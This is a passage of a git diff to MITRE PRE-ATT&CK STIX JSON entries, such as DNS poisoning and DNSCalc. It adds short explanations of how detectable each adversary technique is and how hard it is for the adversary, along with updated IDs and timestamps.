-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo an intensive research process.  It is resource intensive or requires special data access.  May be easier for certain specialty use cases."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--76c9e8cb-52e1-4ddc-80d4-5f7231842e06.json b/pre-attack/attack-pattern/attack-pattern--76c9e8cb-52e1-4ddc-80d4-5f7231842e06.json
index b069371058..7a0a1c03b7 100644
--- a/pre-attack/attack-pattern/attack-pattern--76c9e8cb-52e1-4ddc-80d4-5f7231842e06.json
+++ b/pre-attack/attack-pattern/attack-pattern--76c9e8cb-52e1-4ddc-80d4-5f7231842e06.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--65b10295-d1f0-4a5b-88ef-4ee4191dcdf3",
+    "id": "bundle--d70cd517-1a84-47a5-b3a0-cda4416b0c99",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--76c9e8cb-52e1-4ddc-80d4-5f7231842e06",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DNS poisoning",
-            "description": "DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective.   Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective.   Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407.json b/pre-attack/attack-pattern/attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407.json
index 5439ce09e2..4d915e4cbd 100644
--- a/pre-attack/attack-pattern/attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407.json
+++ b/pre-attack/attack-pattern/attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7847d2db-2b8b-4b17-a32d-b5c90fc41300",
+    "id": "bundle--0fd3c2e3-592e-4d1e-9b3f-b9e956c77d41",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify job postings and needs/gaps",
-            "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Very public by design."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--773950e1-090c-488b-a480-9ff236312e31.json b/pre-attack/attack-pattern/attack-pattern--773950e1-090c-488b-a480-9ff236312e31.json
index d82a4ca734..25612f9814 100644
--- a/pre-attack/attack-pattern/attack-pattern--773950e1-090c-488b-a480-9ff236312e31.json
+++ b/pre-attack/attack-pattern/attack-pattern--773950e1-090c-488b-a480-9ff236312e31.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0ed405d8-8c3b-474b-972a-22157dadbd16",
+    "id": "bundle--cea23d4c-e63d-4de0-9239-c0698dad18dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--773950e1-090c-488b-a480-9ff236312e31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze data collected",
-            "description": "An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc.  They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc.  They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many of the common tools highlight these weaknesses automatically.  Adversary can \"dry run\" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -44,7 +44,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Many of the common tools highlight these weaknesses automatically.  Adversary can \"dry run\" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--7823039f-e2d5-4997-853c-ec983631206b.json b/pre-attack/attack-pattern/attack-pattern--7823039f-e2d5-4997-853c-ec983631206b.json
index 7d3670024a..4f32e49af6 100644
--- a/pre-attack/attack-pattern/attack-pattern--7823039f-e2d5-4997-853c-ec983631206b.json
+++ b/pre-attack/attack-pattern/attack-pattern--7823039f-e2d5-4997-853c-ec983631206b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7c1cec11-4af8-4d78-9b09-cafebf2850a9",
+    "id": "bundle--6d280327-91c7-4ed2-bde2-a385e21d6130",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7823039f-e2d5-4997-853c-ec983631206b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DNSCalc",
-            "description": "DNS Calc is a technique in which the octets of an IP address are used to calculate the port  for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "DNS Calc is a technique in which the octets of an IP address are used to calculate the port  for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication.  It has been used by APT12, but not otherwise widely reported.  Some botnets are hardcoded to be able to use this technique.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication.  It has been used by APT12, but not otherwise widely reported.  Some botnets are hardcoded to be able to use this technique."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b.json b/pre-attack/attack-pattern/attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b.json
index d69a1798c8..e162529ada 100644
--- a/pre-attack/attack-pattern/attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b.json
+++ b/pre-attack/attack-pattern/attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f86927fa-cc98-4e22-9fac-a33a248f0e0b",
+    "id": "bundle--7d5d1ead-a11c-4af4-af12-aaec6282ca66",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire OSINT data sets and information",
             "description": "Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
             "kill_chain_phases": [
diff --git a/pre-attack/attack-pattern/attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c.json b/pre-attack/attack-pattern/attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c.json
index b399d6a289..7a60476410 100644
--- a/pre-attack/attack-pattern/attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c.json
+++ b/pre-attack/attack-pattern/attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--358ea809-dfa9-4f9d-9479-b35c6265bdc9",
+    "id": "bundle--5b019ac9-ec52-46d7-969f-4d1f42b8d214",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify supply chains",
-            "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an intensive process.  May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process.  May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--7863b7f1-c18a-4aad-a6cf-4aa6d8797531.json b/pre-attack/attack-pattern/attack-pattern--7863b7f1-c18a-4aad-a6cf-4aa6d8797531.json
index d83d26dd6e..aaa3495384 100644
--- a/pre-attack/attack-pattern/attack-pattern--7863b7f1-c18a-4aad-a6cf-4aa6d8797531.json
+++ b/pre-attack/attack-pattern/attack-pattern--7863b7f1-c18a-4aad-a6cf-4aa6d8797531.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--593afd8c-226f-4799-a739-40f9eceb219b",
+    "id": "bundle--44300ee5-3ac0-41ff-828f-04db7a360f92",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7863b7f1-c18a-4aad-a6cf-4aa6d8797531",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Receive operator KITs/KIQs tasking",
-            "description": "Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement.  Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement.  Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--78ae433b-289d-4c8d-b8c1-f8de0b7f9090.json b/pre-attack/attack-pattern/attack-pattern--78ae433b-289d-4c8d-b8c1-f8de0b7f9090.json
index dd31fe0f9d..dd5fcc346e 100644
--- a/pre-attack/attack-pattern/attack-pattern--78ae433b-289d-4c8d-b8c1-f8de0b7f9090.json
+++ b/pre-attack/attack-pattern/attack-pattern--78ae433b-289d-4c8d-b8c1-f8de0b7f9090.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f1e4e6d3-a9f2-4a44-a4c7-e0029b6f6c26",
+    "id": "bundle--9a7d1131-2bc2-4df3-b67a-f5ee107575e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--78ae433b-289d-4c8d-b8c1-f8de0b7f9090",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Enumerate client configurations",
-            "description": "Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications.  This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications.  This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Basic web scripting capability to collect information of interest on users of interest.  Requires a compromised web site and the users of interest to navigate there.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Basic web scripting capability to collect information of interest on users of interest.  Requires a compromised web site and the users of interest to navigate there."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--78e41091-d10d-4001-b202-89612892b6ff.json b/pre-attack/attack-pattern/attack-pattern--78e41091-d10d-4001-b202-89612892b6ff.json
index df6e7481c3..53cfcf64d6 100644
--- a/pre-attack/attack-pattern/attack-pattern--78e41091-d10d-4001-b202-89612892b6ff.json
+++ b/pre-attack/attack-pattern/attack-pattern--78e41091-d10d-4001-b202-89612892b6ff.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f74ed1d5-9762-449e-aa66-8166bbda1c96",
+    "id": "bundle--0d8b9a37-389b-46ab-9c6d-2cdde2c0533b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify supply chains",
             "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
             "kill_chain_phases": [
diff --git a/pre-attack/attack-pattern/attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6.json b/pre-attack/attack-pattern/attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6.json
index 91c947cba0..78fa55decd 100644
--- a/pre-attack/attack-pattern/attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6.json
+++ b/pre-attack/attack-pattern/attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d19d9073-0d92-4e73-a2d4-1ccf589cf36f",
+    "id": "bundle--66514ad4-3413-407c-a532-bdffa4d395b6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire and/or use 3rd party infrastructure services",
-            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Hard to differentiate from standard business operations.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Hard to differentiate from standard business operations.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--7a265bf0-6acc-4f43-8b22-2e58b443e62e.json b/pre-attack/attack-pattern/attack-pattern--7a265bf0-6acc-4f43-8b22-2e58b443e62e.json
index 15d1b353a8..6844c4757e 100644
--- a/pre-attack/attack-pattern/attack-pattern--7a265bf0-6acc-4f43-8b22-2e58b443e62e.json
+++ b/pre-attack/attack-pattern/attack-pattern--7a265bf0-6acc-4f43-8b22-2e58b443e62e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9e1e732b-71e7-421e-99e5-6e27707424bc",
+    "id": "bundle--f76a6cee-ab90-4e30-bea5-db2e937280cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7a265bf0-6acc-4f43-8b22-2e58b443e62e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Choose pre-compromised mobile app developer account credentials or signing keys",
-            "description": "The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps.  Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps.  Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The difficulty of obtaining useful developer credentials may vary.  Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys.  Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary.  These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "The difficulty of obtaining useful developer credentials may vary.  Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys.  Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary.  These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc.json b/pre-attack/attack-pattern/attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc.json
index 94f4ccee23..808f35b90b 100644
--- a/pre-attack/attack-pattern/attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc.json
+++ b/pre-attack/attack-pattern/attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3eb47f6f-afb1-4a1f-9a00-72bbdf023365",
+    "id": "bundle--8fc68385-dff9-49c1-88a0-c694486e9488",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze organizational skillsets and deficiencies",
-            "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--7dae871c-effc-444b-9962-4b7efefe7d40.json b/pre-attack/attack-pattern/attack-pattern--7dae871c-effc-444b-9962-4b7efefe7d40.json
index 30ae0e0f13..04d1a81935 100644
--- a/pre-attack/attack-pattern/attack-pattern--7dae871c-effc-444b-9962-4b7efefe7d40.json
+++ b/pre-attack/attack-pattern/attack-pattern--7dae871c-effc-444b-9962-4b7efefe7d40.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
